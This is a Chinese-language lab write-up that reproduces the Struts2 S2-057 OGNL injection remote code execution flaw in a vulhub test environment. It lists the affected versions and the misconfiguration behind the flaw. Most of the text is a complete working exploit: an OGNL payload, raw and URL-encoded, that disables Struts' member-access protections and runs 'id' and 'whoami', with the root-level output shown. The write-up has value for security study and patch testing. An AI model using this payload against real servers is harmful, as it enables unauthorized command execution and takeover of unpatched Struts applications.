Struts2-057远程代码执行漏洞复现
影响版本:
<= Struts 2.3.34
Struts 2.5.16
简述:
定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。
url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。
a1waysSelectFul1Namespace为true—action元素没有设置namespace属性,或者使用了通配符
命名空间将由用户从uri传递,并解析为OGNL表达式,最终导致远程代码执行漏洞。
漏洞场景:
在Struts2配置文件中,对未正确配置的action元素提供如下三类返回元素:
a. Redirect Action
b. Action Chaining
c. Postback Result
以上提及的三种都属于Struts2的跳转方式
环境:
vulhub-master/struts2/s2-057
启动之后访问:
http://ip:8080/showcase
可以看到struts的测试页面:
检验:${(111+111)}/actionChain1.action
访问:
http://192.168.17.134:8080/showcase/${(111+111)}/actionChain1.action后:
url变为:
http://192.168.17.134:8080/showcase/222/register2.action
111+111=222,说明产生了OGNL注入。
POC:执行id命令:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
将POC进行url编码后拼接:
http://192.168.17.134:8080/showcase/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B’struts.valueStack’%5D.context).(%23cr%3D%23ct%5B’com.opensymphony.xwork2.ActionContext.container’%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘id’)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action
访问之后url中返回命令id执行之后的结果。
http://192.168.17.134:8080/showcase/uid=0(root)%20gid=0(root)%20groups=0(root)%20/register2.action
whoami命令:
http://192.168.17.134:8080/showcase/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B’struts.valueStack’%5D.context).(%23cr%3D%23ct%5B’com.opensymphony.xwork2.ActionContext.container’%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘whoami’)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action
返回:
http://192.168.17.134:8080/showcase/root%20/register2.action